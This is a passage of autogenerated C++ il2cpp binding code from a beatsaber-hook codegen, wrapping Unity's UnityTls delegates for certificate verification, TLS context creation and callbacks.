Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_callback #include "Mono/Unity/UnityTls_unitytls_x509verify_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_default_ca_t.Invoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_default_ca_t::Invoke(::Mono::Unity::UnityTls::unitytls_x509list_ref chain, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_x509verify_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_default_ca_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, chain, cn, cnLen, cb, userData, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_default_ca_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_default_ca_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_x509list_ref chain, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_x509verify_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_default_ca_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, chain, cn, cnLen, cb, userData, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_default_ca_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_default_ca_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_default_ca_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_explicit_ca_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_x509verify_explicit_ca_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref #include "Mono/Unity/UnityTls_unitytls_x509list_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_callback #include "Mono/Unity/UnityTls_unitytls_x509verify_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_explicit_ca_t.Invoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_explicit_ca_t::Invoke(::Mono::Unity::UnityTls::unitytls_x509list_ref chain, ::Mono::Unity::UnityTls::unitytls_x509list_ref trustCA, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_x509verify_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_explicit_ca_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(trustCA), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, chain, trustCA, cn, cnLen, cb, userData, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_explicit_ca_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_explicit_ca_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_x509list_ref chain, ::Mono::Unity::UnityTls::unitytls_x509list_ref trustCA, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_x509verify_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_explicit_ca_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(chain), ::il2cpp_utils::ExtractType(trustCA), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, chain, trustCA, cn, cnLen, cb, userData, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_x509verify_explicit_ca_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_x509verify_result Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_explicit_ca_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_x509verify_explicit_ca_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_x509verify_result, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_server_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_create_server_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_protocolrange #include "Mono/Unity/UnityTls_unitytls_tlsctx_protocolrange.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_callbacks #include "Mono/Unity/UnityTls_unitytls_tlsctx_callbacks.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_server_t.Invoke ::Mono::Unity::UnityTls::unitytls_tlsctx* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_server_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx_protocolrange supportedProtocols, ::Mono::Unity::UnityTls::unitytls_tlsctx_callbacks callbacks, uint64_t certChain, uint64_t leafCertificateKey, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_server_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(supportedProtocols), ::il2cpp_utils::ExtractType(callbacks), ::il2cpp_utils::ExtractType(certChain), ::il2cpp_utils::ExtractType(leafCertificateKey), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_tlsctx*, false>(this, ___internal__method, supportedProtocols, callbacks, certChain, leafCertificateKey, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_server_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_server_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx_protocolrange supportedProtocols, ::Mono::Unity::UnityTls::unitytls_tlsctx_callbacks callbacks, uint64_t certChain, uint64_t leafCertificateKey, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_server_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(supportedProtocols), ::il2cpp_utils::ExtractType(callbacks), ::il2cpp_utils::ExtractType(certChain), ::il2cpp_utils::ExtractType(leafCertificateKey), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, supportedProtocols, callbacks, certChain, leafCertificateKey, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_server_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_tlsctx* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_server_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_server_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_tlsctx*, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_client_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_create_client_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_protocolrange #include "Mono/Unity/UnityTls_unitytls_tlsctx_protocolrange.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_callbacks #include "Mono/Unity/UnityTls_unitytls_tlsctx_callbacks.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_client_t.Invoke ::Mono::Unity::UnityTls::unitytls_tlsctx* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_client_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx_protocolrange supportedProtocols, ::Mono::Unity::UnityTls::unitytls_tlsctx_callbacks callbacks, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_client_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(supportedProtocols), ::il2cpp_utils::ExtractType(callbacks), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(errorState)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_tlsctx*, false>(this, ___internal__method, supportedProtocols, callbacks, cn, cnLen, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_client_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_client_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx_protocolrange supportedProtocols, ::Mono::Unity::UnityTls::unitytls_tlsctx_callbacks callbacks, uint8_t* cn, ::System::IntPtr cnLen, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_client_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(supportedProtocols), ::il2cpp_utils::ExtractType(callbacks), ::il2cpp_utils::ExtractType(cn), ::il2cpp_utils::ExtractType(cnLen), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, supportedProtocols, callbacks, cn, cnLen, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_create_client_t.EndInvoke ::Mono::Unity::UnityTls::unitytls_tlsctx* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_client_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_create_client_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_tlsctx*, false>(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_server_require_client_authentication_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_server_require_client_authentication_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref #include "Mono/Unity/UnityTls_unitytls_x509list_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_server_require_client_authentication_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_server_require_client_authentication_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_x509list_ref clientAuthCAList, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_server_require_client_authentication_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(clientAuthCAList), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, ctx, clientAuthCAList, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_server_require_client_authentication_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_server_require_client_authentication_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_x509list_ref clientAuthCAList, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_server_require_client_authentication_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(clientAuthCAList), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, clientAuthCAList, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_server_require_client_authentication_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_server_require_client_authentication_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_server_require_client_authentication_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_certificate_callback_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_set_certificate_callback_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_certificate_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_certificate_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_certificate_callback_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_certificate_callback_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_certificate_callback_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, ctx, cb, userData, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_certificate_callback_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_certificate_callback_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_tlsctx_certificate_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_certificate_callback_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, cb, userData, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_certificate_callback_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_certificate_callback_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_certificate_callback_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_trace_callback_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_set_trace_callback_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_trace_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_trace_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_trace_callback_t.Invoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_trace_callback_t::Invoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_tlsctx_trace_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_trace_callback_t::Invoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Invoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, ctx, cb, userData, errorState); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_trace_callback_t.BeginInvoke ::System::IAsyncResult* Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_trace_callback_t::BeginInvoke(::Mono::Unity::UnityTls::unitytls_tlsctx* ctx, ::Mono::Unity::UnityTls::unitytls_tlsctx_trace_callback* cb, void* userData, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState, ::System::AsyncCallback* callback, ::Il2CppObject* object) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_trace_callback_t::BeginInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "BeginInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(ctx), ::il2cpp_utils::ExtractType(cb), ::il2cpp_utils::ExtractType(userData), ::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(callback), ::il2cpp_utils::ExtractType(object)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IAsyncResult*, false>(this, ___internal__method, ctx, cb, userData, errorState, callback, object); } // Autogenerated method: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_trace_callback_t.EndInvoke void Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_trace_callback_t::EndInvoke(::System::IAsyncResult* result) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_interface_struct::unitytls_tlsctx_set_trace_callback_t::EndInvoke"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "EndInvoke", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(result)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, result); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct/Mono.Unity.unitytls_tlsctx_set_x509verify_callback_t #include "Mono/Unity/UnityTls_unitytls_interface_struct_unitytls_tlsctx_set_x509verify_callback_t.hpp" // Including type: System.IAsyncResult #include "System/IAsyncResult.hpp" // Including type: System.AsyncCallback #include "System/AsyncCallback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_x509verify_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_x509verify_callback.hpp" // Including type: 